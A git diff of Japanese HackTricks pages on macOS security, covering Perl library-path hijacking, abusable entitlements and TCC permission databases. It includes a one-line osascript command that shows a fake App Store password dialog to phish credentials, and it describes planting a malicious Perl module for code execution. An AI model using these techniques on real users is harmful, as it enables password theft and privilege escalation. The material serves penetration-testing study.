いくつかの返されたフォルダは存在しないが、**`/Library/Perl/5.30`** は**存在**し、**SIP** によって**保護されていない**し、**SIP によって保護されたフォルダよりも前に**ある。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高特権のPerlスクリプトがそれを読み込むことができる。
|
||||
|
||||
{% hint style="warning" %}
|
||||
ただし、そのフォルダに書き込むには**root権限が必要**であり、現在ではこのような**TCCプロンプト**が表示されます:
|
||||
ただし、そのフォルダに書き込むには**root権限が必要**であり、現在ではこの**TCCプロンプト**が表示されます:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
たとえば、スクリプトが**`use File::Basename;`**をインポートしている場合、`/Library/Perl/5.30/File/Basename.pm`を作成して任意のコードを実行させることが可能です。
|
||||
|
||||
|
@ -80,14 +80,14 @@ perl -e 'print join("\n", @INC)'
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,8 @@ HackTricksをサポートする他の方法:
|
|||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks_live)。
|
||||
- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks_live)。
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -37,15 +38,15 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
デバッグツール権限を持つアプリケーションは、`Get Task Allow`権限が`true`に設定された未署名およびサードパーティアプリケーションの有効なタスクポートを取得するために`task_for_pid()`を呼び出すことができます。ただし、デバッグツール権限があっても、デバッガーは**`Get Task Allow`権限を持たないプロセス**のタスクポートを取得できず、したがってシステム整合性保護によって保護されているプロセスのタスクポートを取得できません。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)を参照してください。
|
||||
デバッグツール権限を持つアプリケーションは、`Get Task Allow`権限が`true`に設定された未署名およびサードパーティアプリケーションの有効なタスクポートを取得するために`task_for_pid()`を呼び出すことができます。ただし、デバッグツール権限があっても、デバッガーは**`Get Task Allow`権限を持たないプロセス**のタスクポートを取得できず、したがってシステム整合性保護によって保護されています。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)を参照してください。
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
この権限は、Appleによって署名されていないか、メインの実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロード**することを可能にし、攻撃者が任意のライブラリのロードを悪用してコードをインジェクトすることができます。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)を参照してください。
|
||||
この権限は、Appleによって署名されていないか、メインの実行可能ファイルと同じTeam IDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロード**することを可能にします。したがって、攻撃者は任意のライブラリのロードを悪用してコードをインジェクトすることができます。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)を参照してください。
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
この権限は**`com.apple.security.cs.disable-library-validation`**と非常に似ており、**ライブラリの検証を直接無効にする**代わりに、プロセスが**`csops`システムコールを呼び出して無効にする**ことを可能にします。\
|
||||
この権限は**`com.apple.security.cs.disable-library-validation`**と非常に似ており、ライブラリの検証を**直接無効にする**のではなく、プロセスが**`csops`システムコールを呼び出して無効にする**ことを可能にします。\
|
||||
詳細は[こちら](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)を参照してください。
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
@ -58,7 +59,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### **`system.install.apple-software`**および**`system.install.apple-software.standar-user`**
|
||||
|
||||
これらの権限は、ユーザーに許可を求めることなく**ソフトウェアをインストール**することを可能にし、**特権昇格**に役立ちます。
|
||||
これらの権限は、ユーザーに許可を求めることなく**ソフトウェアをインストール**することを可能にします。これは**特権昇格**に役立ちます。
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
|
@ -78,15 +79,15 @@ TODO: これが何を許可するかわかりません
|
|||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために**これを使用できる可能性があると記載されています。わかる場合はPRを送信してください!
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **によると、これは**再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があります。詳細がわかる場合は、PRを送信してください!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために**これを使用できる可能性があると記載されています。わかる場合はPRを送信してください!
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **によると、これは**再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があります。詳細がわかる場合は、PRを送信してください!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
この権限リストは、アプリケーションがアクセスできる**キーチェーン**グループを示しています:
|
||||
この権限は、アプリケーションがアクセスできる**キーチェーン**グループのリストです:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -103,9 +104,9 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
アプリが**タスクの自動化**に一般的に使用される他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
||||
アプリケーションが**タスクの自動化**に一般的に使用される他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
||||
|
||||
ユーザーにパスワードを求めさせるようにすることもできます:
|
||||
ユーザーにパスワードを求めさせるなど、それらの他のアプリに付与された権限を悪用することができます。
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
|
@ -119,19 +120,19 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
ユーザーの`NFSHomeDirectory`属性を**変更**することを許可し、ホームフォルダのパスを変更してTCCを**バイパス**することができます。
|
||||
ユーザーの`NFSHomeDirectory`属性を変更し、ホームフォルダのパスを変更することができ、それにより**TCCをバイパス**することができます。
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
アプリのバンドル内のファイル(app.app内)を変更することを許可しますが、これは**デフォルトで許可されていません**。
|
||||
デフォルトでは**許可されていない**アプリ内のファイルを変更することができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
このアクセス権を持っているユーザーは、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_ で確認できます。
|
||||
このアクセス権を持っているユーザーを確認することができます。_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_.
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
プロセスは**macOSのアクセシビリティ機能を悪用**することができ、たとえばキーストロークを押すことができます。そのため、Finderのようなアプリを制御するアクセスをリクエストし、この権限でダイアログを承認することができます。
|
||||
プロセスは**macOSのアクセシビリティ機能を悪用**することができます。つまり、例えばキーストロークを押すことができます。そのため、Finderのようなアプリを制御するアクセスをリクエストし、この権限でダイアログを承認することができます。
|
||||
|
||||
## Medium
|
||||
|
||||
|
@ -141,7 +142,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
この権限により、Cコードを**オーバーライドまたはパッチ**することができ、長期間非推奨となっている**`NSCreateObjectFileImageFromMemory`**(基本的に安全ではない)を使用したり、**DVDPlayback**フレームワークを使用したりできます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)を参照してください。
|
||||
この権限により、Cコードを**オーバーライドまたはパッチ**することができ、長期間非推奨となった**`NSCreateObjectFileImageFromMemory`**(基本的に安全ではない)を使用したり、**DVDPlayback**フレームワークを使用したりすることができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)を参照してください。
|
||||
|
||||
{% hint style="danger" %}
|
||||
この権限を含めると、アプリがメモリの安全でないコード言語に一般的な脆弱性にさらされる可能性があります。この例外がアプリに必要かどうかを慎重に検討してください。
|
||||
|
@ -149,10 +150,10 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
この権限により、ディスク上の自身の実行可能ファイルのセクションを**強制的に終了**することができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)を参照してください。
|
||||
この権限により、ディスク上の自身の実行可能ファイルのセクションを**強制的に変更**することができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)を参照してください。
|
||||
|
||||
{% hint style="danger" %}
|
||||
実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を削除し、攻撃者がアプリの実行コードを検出されずに書き換えることが可能になります。可能であれば、より狭い権限を選択してください。
|
||||
実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を削除し、攻撃者がアプリの実行可能コードを検出されずに書き換えることが可能になります。可能であれば、より狭い権限を選択してください。
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -161,11 +162,11 @@ TODO
|
|||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
この権限により、通常は禁止されているnullfsファイルシステムをマウントすることができます。ツール: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||
この権限により、デフォルトでは禁止されているnullfsファイルシステムをマウントすることができます。ツール: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
このブログ投稿によると、このTCC権限は通常、以下の形式で見つかります:
|
||||
このブログ投稿によると、このTCC権限は通常、以下の形式で見つかります。
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
|
@ -176,14 +177,14 @@ TODO
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
他のHackTricksのサポート方法:
|
||||
|
||||
* **会社をHackTricksで宣伝したい**か、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* **会社をHackTricksで宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,29 +4,29 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**TCC(Transparency, Consent, and Control)**は、アプリケーションの権限を規制するセキュリティプロトコルです。主な役割は、**位置情報サービス、連絡先、写真、マイクロフォン、カメラ、アクセシビリティ、およびフルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることで、プライバシーを強化し、ユーザーがデータを制御できるようにします。
|
||||
**TCC(Transparency, Consent, and Control)**は、アプリケーションの権限を規制するセキュリティプロトコルです。その主な役割は、**位置情報サービス、連絡先、写真、マイクロフォン、カメラ、アクセシビリティ、およびフルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることで、プライバシーを強化し、ユーザーがデータをコントロールできるようにします。
|
||||
|
||||
ユーザーは、アプリケーションが保護された機能へのアクセスをリクエストする際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**できるプロンプトを介して可視化されます。さらに、TCCは、**ファイルをアプリケーションにドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、特定のファイルへのアクセスを許可することで、アプリケーションが明示的に許可されたものだけにアクセスできるようにします。
|
||||
ユーザーは、アプリケーションが保護された機能へのアクセスをリクエストする際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**することができるプロンプトを介して可視化されます。さらに、TCCは、**ファイルをアプリケーションにドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、特定のファイルへのアクセスを許可することで、アプリケーションが明示的に許可されたものだけにアクセスできるようにします。
|
||||
|
||||
![TCCプロンプトの例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されています(machサービス`com.apple.tccd.system`を登録)。
|
||||
**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されています(`com.apple.tccd.system`マッチサービスを登録)。
|
||||
|
||||
ログインしているユーザーごとに定義された**ユーザーモードのtccd**が`/System/Library/LaunchAgents/com.apple.tccd.plist`に実行され、machサービス`com.apple.tccd`および`com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。
|
||||
ログインしているユーザーごとに定義された**ユーザーモードのtccd**が`/System/Library/LaunchAgents/com.apple.tccd.plist`に実行され、`com.apple.tccd`および`com.apple.usernotifications.delegate.com.apple.tccd`のマッチサービスを登録しています。
|
||||
|
||||
ここでは、システムとユーザーとして実行されているtccdを見ることができます:
|
||||
ここでは、システムとユーザーとして実行されているtccdを見ることができます。
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
|
@ -38,28 +38,28 @@ ps -ef | grep tcc
|
|||
|
||||
許可/拒否は次の TCC データベースに保存されます:
|
||||
|
||||
* **`/Library/Application Support/com.apple.TCC/TCC.db`** にあるシステム全体のデータベース。
|
||||
* このデータベースは**SIP 保護**されており、SIP バイパスのみが書き込めます。
|
||||
* ユーザー TCC データベース **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** はユーザーごとの設定に使用されます。
|
||||
* このデータベースは、**FDA**などの高いTCC権限を持つプロセスのみが書き込めます(ただし、SIP によって保護されていません)。
|
||||
- **`/Library/Application Support/com.apple.TCC/TCC.db`** にあるシステム全体のデータベース。
|
||||
- このデータベースは**SIP 保護**されており、SIP バイパスのみが書き込めます。
|
||||
- ユーザー TCC データベース **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** はユーザーごとの設定に使用されます。
|
||||
- このデータベースは、**FDA**などの高いTCC権限を持つプロセスのみが書き込めます(ただし、SIP によって保護されていません)。
|
||||
|
||||
{% hint style="warning" %}
|
||||
前述のデータベースは読み取りアクセスに対しても**TCC 保護**されています。したがって、通常のユーザー TCC データベースを読み取ることはできません(TCC 権限を持つプロセスからでない限り)。
|
||||
前述のデータベースは読み取りアクセスに対しても**TCC 保護**されています。そのため、通常のユーザー TCC データベースを読み取ることはできません(TCC 権限を持つプロセスからでない限り)。
|
||||
|
||||
ただし、**FDA**や**`kTCCServiceEndpointSecurityClient`**などの高い権限を持つプロセスは、ユーザーのTCCデータベースに書き込むことができます。
|
||||
ただし、**FDA**や**`kTCCServiceEndpointSecurityClient`**などの高い権限を持つプロセスは、ユーザーの TCC データベースに書き込むことができます。
|
||||
{% endhint %}
|
||||
|
||||
* **`/var/db/locationd/clients.plist`** には、**位置情報サービスにアクセスを許可されたクライアント**が示されている第三のTCCデータベースがあります。
|
||||
* SIP 保護ファイル **`/Users/carlospolop/Downloads/REG.db`**(TCC による読み取りアクセスも保護されています)には、すべての**有効なTCCデータベースの場所**が含まれています。
|
||||
* SIP 保護ファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(TCC による読み取りアクセスも保護されています)には、さらにTCCが許可された権限が含まれています。
|
||||
* SIP 保護ファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(誰でも読み取り可能)は、TCC例外が必要なアプリケーションの許可リストです。
|
||||
- **`/var/db/locationd/clients.plist`** には、**位置情報サービスにアクセスを許可されたクライアント**が示されています。
|
||||
- SIP 保護されたファイル **`/Users/carlospolop/Downloads/REG.db`**(TCC による読み取りアクセスも保護されています)には、すべての**有効な TCC データベースの場所**が含まれています。
|
||||
- SIP 保護されたファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(TCC による読み取りアクセスも保護されています)には、さらに TCC が許可された権限が含まれています。
|
||||
- SIP 保護されたファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(誰でも読み取り可能)は、TCC 例外が必要なアプリケーションの許可リストです。
|
||||
|
||||
{% hint style="success" %}
|
||||
**iOS**のTCCデータベースは**`/private/var/mobile/Library/TCC/TCC.db`**にあります。
|
||||
**iOS**のTCC データベースは**`/private/var/mobile/Library/TCC/TCC.db`**にあります。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**通知センターUI**は、**システムTCCデータベース**に変更を加えることができます:
|
||||
**通知センター UI**は**システム TCC データベース**に変更を加えることができます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -123,18 +123,18 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
両方のデータベースをチェックすることで、アプリが許可されている権限、禁止されている権限、または(求められる)権限を確認できます。
|
||||
両方のデータベースをチェックすると、アプリが許可した権限、禁止した権限、または持っていない権限(求められることがある)を確認できます。
|
||||
{% endhint %}
|
||||
|
||||
- **`service`** は TCC **権限**の文字列表現です
|
||||
- **`client`** は権限を持つ **バンドルID** または **バイナリのパス** です
|
||||
- **`client`** は権限を持つバンドルIDまたはバイナリのパスです
|
||||
- **`client_type`** はバンドル識別子(0)か絶対パス(1)かを示します
|
||||
|
||||
<details>
|
||||
|
||||
<summary>絶対パスの場合の実行方法</summary>
|
||||
|
||||
単に **`launctl load you_bin.plist`** を実行します。plist は以下のようなものです:
|
||||
単に **`launctl load you_bin.plist`** を実行します。plistは以下のようになります:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -191,9 +191,9 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
* テーブルの**他のフィールド**に関する詳細は、[**このブログ投稿**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)をチェックしてください。
|
||||
* テーブルの**他のフィールド**に関する詳細は、[このブログポスト](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)をチェックしてください。
|
||||
|
||||
また、`システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ`で、アプリに**すでに与えられた権限**を確認できます。
|
||||
また、`システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ`でアプリケーションに**すでに与えられた権限**を確認できます。
|
||||
|
||||
{% hint style="success" %}
|
||||
ユーザーは、**`tccutil`**を使用して**ルールを削除またはクエリ**できます。
|
||||
|
@ -207,9 +207,9 @@ tccutil reset All app.some.id
|
|||
# Reset the permissions granted to all apps
|
||||
tccutil reset All
|
||||
```
|
||||
### TCC署名チェック
|
||||
### TCC Signature Checks
|
||||
|
||||
TCC **データベース**はアプリケーションの**Bundle ID**を保存しますが、**許可を使用するように要求する**アプリが正しいものであることを確認するために、**署名**に関する**情報**も保存します。
|
||||
TCCの**データベース**は、アプリケーションの**Bundle ID**を保存しますが、**許可を使用するよう要求する**アプリが正しいものであることを確認するために、**署名**に関する**情報**も保存します。
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -229,12 +229,12 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
|
||||
### エンタイトルメント&TCC権限
|
||||
|
||||
アプリケーションがリソースにアクセスを要求し、アクセスが許可されているだけでなく、関連するエンタイトルメントを持っている必要があります。\
|
||||
たとえば、Telegramは`com.apple.security.device.camera`というエンタイトルメントを持っており、カメラへのアクセスを要求します。このエンタイトルメントを持たないアプリケーションはカメラにアクセスできません(ユーザーにはアクセス許可が求められません)。
|
||||
アプリケーションは、リソースにアクセスをリクエストし、許可されただけでなく、関連するエンタイトルメントを持っている必要があります。\
|
||||
たとえば、Telegramは`com.apple.security.device.camera`というエンタイトルメントを持っており、カメラへのアクセスをリクエストします。このエンタイトルメントを持たないアプリケーションは、カメラにアクセスできません(ユーザーにはアクセス許可が求められません)。
|
||||
|
||||
ただし、`~/Desktop`、`~/Downloads`、`~/Documents`などの特定のユーザーフォルダにアクセスするためには、特定のエンタイトルメントが必要ありません。システムはアクセスを透過的に処理し、必要に応じてユーザーにプロンプトを表示します。
|
||||
|
||||
Appleのアプリケーションはプロンプトを生成しません。エンタイトルメントリストに事前に付与された権利が含まれており、ポップアップを生成することは決してありませんし、TCCデータベースのいずれにも表示されません。例:
|
||||
Appleのアプリケーションはプロンプトを生成しません。エンタイトルメントリストに事前に付与された権限が含まれているため、ポップアップを生成することはありませんし、TCCデータベースにも表示されません。例:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -245,15 +245,15 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
これにより、カレンダーがユーザーにリマインダー、カレンダー、およびアドレス帳へのアクセスを求めることを回避できます。
|
||||
これにより、カレンダーがユーザーにリマインダー、カレンダー、アドレス帳へのアクセスを求めることを回避できます。
|
||||
|
||||
{% hint style="success" %}
|
||||
権限に関する公式ドキュメントに加えて、[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) で権限に関する非公式な**興味深い情報**を見つけることも可能です。
|
||||
{% endhint %}
|
||||
|
||||
一部のTCC権限には、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどがあります。これらをすべて定義する公開リストはありませんが、[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)をチェックできます。
|
||||
一部のTCC権限は、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどです。すべてを定義する公開リストはありませんが、[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)をチェックできます。
|
||||
|
||||
### 保護されていない機密情報の場所
|
||||
### 保護されていない機密情報
|
||||
|
||||
* $HOME (自体)
|
||||
